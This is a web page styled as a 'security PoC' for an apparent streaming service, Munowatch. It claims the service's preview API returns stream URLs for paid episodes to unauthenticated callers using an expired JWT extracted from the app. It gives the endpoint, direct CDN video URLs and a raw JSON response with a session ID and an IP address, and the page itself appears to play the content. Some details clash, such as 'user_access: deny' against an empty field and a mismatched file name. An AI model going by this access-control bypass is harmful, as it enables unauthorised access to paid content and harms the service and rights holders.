Watch — The Blacklist 9

SECURITY PoC — NO AUTH

CDN bypass demo: stream served without an auth header

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CDN bypass demonstration The API returned playingUrl for The Blacklist 9 with issubscriber: false and user_access: deny. The video above plays from Munowatch's own CDN with zero authentication.

Security research evidence Inspect entitlement results, CDN URLs, and the raw API response Access control failed

API response evidence

Endpoint called GET /api/preview/v2/3806/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access

paid_for YES (premium content)

substatus EXPIRED

serverhost 61

video_name THE BLACKLIST S01 E09 - JR.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 3806,
    "video_title": "The Blacklist 9",
    "description": " A new FBI profiler, Elizabeth Keen, has her entire life uprooted when a mysterious criminal, Raymond Reddington, who has eluded capture for decades, turns himself in and insists on speaking only to her.",
    "video_name": "THE BLACKLIST S01 E09 - JR.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "No",
    "serverhost": "61",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "41h 49m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/7d3f.jpg",
    "tfilehistory": " ~ 350923719862.jpg ~ ",
    "category_id": 5,
    "language_id": 1,
    "recording_date": "2014-05-15",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 5,
    "series_code": "49771",
    "access": "1",
    "paid_for": "1",
    "new_movie": "0",
    "priority": "No",
    "size": "492.17 MB",
    "create_date": "2018-10-09 06:57:38",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 1,
    "network_id": "154.227.131.200",
    "user_access": "",
    "notification": "No",
    "secduration": "150540.000000",
    "issubscriber": false,
    "genre": "Series",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 21,
    "episode_state": "NEXT",
    "nxt_eps": "EPS  10",
    "nxt_eps_id": 48837,
    "nxt_eps_title": "The Blacklist 10",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "8 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}